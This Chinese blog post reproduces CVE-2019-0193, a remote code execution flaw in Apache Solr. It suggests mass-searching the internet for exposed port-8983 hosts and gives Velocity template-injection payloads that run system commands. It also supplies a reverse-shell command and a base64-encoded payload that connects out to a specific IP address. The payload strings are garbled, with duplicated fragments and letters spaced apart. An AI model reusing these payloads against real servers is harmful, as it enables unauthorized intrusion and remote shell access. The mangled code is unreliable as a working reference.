Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作

QQ交流学习群:811401950

一. 漏洞描述
2019年11月16日,Apache官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler 中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参 数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行,请相关用户尽快升级Solr至安全版本,以确保对此漏洞的有效防护。

二. 复现操作

  1. 批量搜一下开了8983端口的主机
    Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作_第1张图片
    2.访问目标主机,找到漏洞的位置,点到 core selector那个按钮,burp抓包拦截
    Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作_第2张图片
    Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作_第3张图片
    3.发送到repeater,把上图请求的admin 改为item(这里注意对应的模块),后面再加config 查看是否有其配置文件,如果没有配置文件,则说明可能目标不存在这种漏洞,这也是一种检测方式?
    Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作_第4张图片
    4.因为该漏洞所影响的模块可以利用外部的请求来修改,所以利用恶意的请求payload去修改配置,修改了配置过后,就导致可以执行恶意的脚本,从而发起带有恶意代码的请求。
    Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作_第5张图片

5,修改了配置过后,便可以带上恶意脚本的请求去发起访问了,从而导致了远程代码执行,请求路径内容如下图

payloadselect?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set( x = x=%27%27)+%23set( x=rt= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Runtime%27))+%23set( x.class.forName(chr= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Character%27))+%23set( x.class.forName(str= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.String%27))+%23set( x.class.forName(ex= r t . g e t R u n t i m e ( ) . e x e c ( rt.getRuntime().exec(%27pwd%27))+ rt.getRuntime().exec(ex.waitFor()+%23set( o u t = out= out=ex.getInputStream())+%23foreach( i + i n + [ 1.. i+in+[1.. i+in+[1..out.available()]) s t r . v a l u e O f ( str.valueOf( str.valueOf(chr.toChars($out.read()))%23end

Apache Solr远程代码执行漏洞 (CVE-2019-0193)复现操作_第6张图片
6. 远程代码执行成功

  1. 反弹shell payload:

linux 反弹shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中为什么要base64编码不太清楚…)

http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set( x = x=%27%27)+%23set( x=rt= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Runtime%27))+%23set( x.class.forName(chr= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Character%27))+%23set( x.class.forName(str= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.String%27))+%23set( x.class.forName(ex= r t . g e t R u n t i m e ( ) . e x e c ( rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+ rt.getRuntime().exec(ex.waitFor()+%23set( o u t = out= out=ex.getInputStream())+%23foreach( i + i n + [ 1.. i+in+[1.. i+in+[1..out.available()]) s t r . v a l u e O f ( str.valueOf( str.valueOf(chr.toChars($out.read()))%23end

三. 漏洞特征:

端口:8983,http

路径:/solr/item/config

四. 影响范围

受影响版本 :

Apache Solr < 8.2.0

你可能感兴趣的:(web,渗透,web渗透,命令执行)